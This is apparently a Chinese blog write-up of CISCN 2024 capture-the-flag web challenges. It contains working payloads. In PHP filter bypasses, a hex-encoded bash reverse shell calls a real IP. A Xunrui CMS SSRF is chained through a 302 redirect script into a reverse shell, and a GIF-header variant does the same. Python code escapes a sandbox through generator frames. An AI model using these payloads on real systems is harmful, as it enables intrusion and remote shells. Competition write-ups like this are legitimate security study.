第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP

Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?

直接给了源码

image-20240518112723996

paste或者rev可以读文件

发现一个异常情况,具有mysql用户,或许可以从这里入手

image-20240518112905906

看出mysql服务开启

cmd=mysql --version

image-20240518115837118

ps -aux命令执行结果可以确认靶机有mysql服务

同时根目录下没有flag

BURP发包
cmd=l%0as /

image-20240518113950815

为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。

cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));

image-20240518134618734

mysql -uroot -proot -e "show databases;"

mysql -uroot -proot -e "use PHP_CMS;show tables;"

mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"

image-20240518134518410

easycms

题目描述:简单的cms,可以扫扫看?

hint:

提示1/flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

提示2:github找一下源码?

敏感目录:

/flag.php
/install.php
/Readme.txt

/Readme.txt是乱码,在线恢复一下

image-20240518134956796

迅睿CMS官方下载地址:https://www.xunruicms.com/down/


#### 安装路径
将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?
安装环境监测�?/test.php
程序安装地址�?/install.php
后台登录地址�?/admin****.php�?****是随机的�?
重置后台地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html

#### 运行环境

Laravel内核:PHP8.0及以�?
ThinkPHP内核:PHP7.4及以�?
CodeIgniter内核:PHP7.4及以�?
CodeIgniter72内核:PHP7.2及以�?

MySQL数据库:MySQL5及以上,推荐5.7及以�?


#### 内核切换方法
https://www.xunruicms.com/doc/1246.html

无法重新安装

image-20240518140745852

hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。

信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)

image-20240518201503234

定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.phpqrcode函数

thumb参数可控

image-20240519182749703

定位xunruicms-master\dayrui\Fcms\Core\Helper.php

dr_catcher_data函数存在SSRF

image-20240519182910561

302.php,拿不到回显所以只能反弹shell

<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
    exit();
?>

payload:

/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php

image-20240518164531870

easycms_revenge

题目描述:又是个简单的cms,研发修复了函数存在的漏洞。

试试昨天的payload:

/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php

无效了

能出网

index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173:9023/

image-20240519115555030

试试thumb=http://127.0.0.1/XXXX的,不行,还是得从vps走一下。

昨天的302脚本:

<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
    exit();
?>

curl一下,看看是bash没了还是不能302了

<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=curl%206c48yi2g.requestrepo.com");
    exit();
?>

curl也不行,bash也不行。但是思来想去必须302。

对比前后两题差异,今天这题会回显此图片不是一张可用的图片,昨天的直接网页加载状态。能出网,猜测是对输入的url进行了判断,参考文件上传的图片限制绕过方法。

image-20240519121639156

小细节是一定要加<html>

GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
</html>

image-20240519125840228

mossfern

题目描述:小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?

源码目录结构:

image-20240519130357361

main

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)


        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()


def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit


def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()


if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    addaudithook(block_wrapper())
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

函数 source_simple_check

用来对输入的源代码进行基础的安全检查。首先,它检查代码是否只包含ASCII字符;如果不是,它会打印警告并退出程序。接下来,它查找一些可能表示危险操作的字符串,例如 "__""getattr"、和 "exit"。如果发现这些字符串,函数会打印它们并退出程序。这些检查有助于防止注入和系统命令执行等风险。

函数 block_wrapper

返回一个用于系统审计的钩子函数,它会检查运行中的事件和参数,寻找可能涉及危险操作的关键词,如 "marshal""__new__""os" 等。如果检测到这些词,程序将打印词语并调用 os._exit(1) 立即退出。这是一个更深层次的防御措施,旨在防止恶意代码操控Python解释器或操作系统功能。

函数 source_opcode_checker

通过分析Python字节码来检测源代码中潜在的危险操作。它首先将源代码编译成字节码,然后检查字节码中的每一行,寻找包含如 "LOAD_GLOBAL""IMPORT_NAME"、或 "LOAD_METHOD" 这样的操作码。这些操作码可能涉及到危险函数的调用或外部模块的加载。如果发现有问题的代码行,程序会打印相关操作码并退出。

主执行部分

在主执行部分,脚本从一个文件中读取代码,然后执行前面定义的安全检查函数。之后,代码被编译并且设置了审计钩子,以防运行时违规操作。代码在一个严格限定的环境中执行,其中仅允许使用几个安全的随机数函数和打印函数。执行结果被捕获并最后进行检查,以确保不包含敏感字符串 “THIS_IS_SEED”,如果包含,表示检查失败。

通过多层审计和执行限制,力图在执行外部提交的Python代码时提供一个相对安全的环境。这种方法有助于防止代码执行中的常见安全问题,如注入攻击、未授权的系统访问等。

一眼沙箱逃逸,尝试利用栈帧逃逸。

参考:

https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://xz.aliyun.com/t/13635?time__1311=mqmxnQ0QiQi%3DDteDsD7md0%3DdG%3DdSMOkdxWD&alichlgref=https%3A%2F%2Fwww.bing.com%2F

使用gi_frame获取当前帧的信息

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

frame = gen.gi_frame

print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

没被过滤,栈帧逃逸可行

image-20240519165738553

利用栈帧沙箱逃逸,原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

尝试一下文中给出的例子:

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = next(g)
    print(frame)
    print(frame.f_back)
waff()

报错,应该是被函数检测到了

image-20240519180844605

改一下

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = [x for x in g][0]
    print(frame)
    print(frame.f_back)
waff()

OK不报错

image-20240519180907091

f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

back三次即可,有输出就是对了

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = [x for x in g][0]
    print(frame)
    print(frame.f_back)
    print(frame.f_back.f_back)
    print(frame.f_back.f_back.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_" * 2 + "builtins" + "_" * 2]
    dir = gattr.dir
    str = gattr.str
waff()

image-20240519181151221

f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()
    frame = [x for x in scq][0]

    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    dir = gattr.dir
    getflag = frame.f_back.f_back.f_back.f_code
    print(dir(getflag))
exp()

image-20240519181316911

直接打印不行,还有一道防线

image-20240519182205141

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()

    # frame = next(scq)
    frame=[x for x in scq][0]
    print(frame)
    print(frame.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]

    getflag = frame.f_back.f_back.f_back.f_code

    dir = gattr.dir
    print(dir(getflag))

    for i in getflag.co_consts:
        print(i)

exp()

image-20240519182219212

转字符串再打印

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()  #生成器

    # frame = next(scq)  # 获取到生成器的栈帧对象
    frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象

    # print(frame)
    # print(frame.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]  #['_''_bui''ltins_''_']也行
    dir = gattr.dir
    str = gattr.str  # 获取str方法

    getflag = frame.f_back.f_back.f_back.f_code

    print(dir(getflag))

    for i in str(getflag.co_consts):
        print(i)
exp()

image-20240519182335562

*sanic(没出)

题目描述:sanic能有什么问题呢?

敏感目录

/admin
/src

image-20240518144025294

源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

  • 51
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
针对2018年高教社杯全国大学生数学建模竞赛D题,我们可以采取以下步骤进行解题: 1. 确定问题:该题的问题是要求我们设计一种算法,能够在给定的网络拓扑结构下,计算出任意两个节点之间的最短路径长度。 2. 分析问题:该题的难点在于如何处理网络中存在的环路和负权边,这些都会影响到最短路径的计算。因此,我们需要选择一种合适的算法来解决这些问题。常用的算法包括Dijkstra算法、Bellman-Ford算法、Floyd算法等。 3. 确定算法:鉴于本题的网络规模较小,我们可以考虑使用Floyd算法来解决。Floyd算法适用于任意两点之间的最短路径计算,可以同时处理有向图和无向图、带权图和不带权图等多种情况,同时也能够处理负权边和环路。 4. 实现算法:实现Floyd算法的关键是构造一个邻接矩阵,表示网络中各个节点之间的距离。具体实现过程可以参考以下步骤: a. 初始化邻接矩阵:将所有节点之间的距离初始化为正无穷大,将每个节点到自己的距离初始化为0。 b. 利用邻接矩阵进行计算:对于每一对节点i和j,遍历所有节点k,比较节点i到k再到节点j的距离和节点i到节点j的距离,取最小值更新邻接矩阵中的距离值。 c. 输出结果:遍历邻接矩阵,输出任意两个节点之间的最短路径长度。 5. 检验算法:为了验证算法的正确性,可以选择一些节点进行测试,比较计算结果与实际情况是否一致。 综上所述,通过采用Floyd算法,我们可以有效地解决2018年高教社杯全国大学生数学建模竞赛D题中的最短路径问题。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值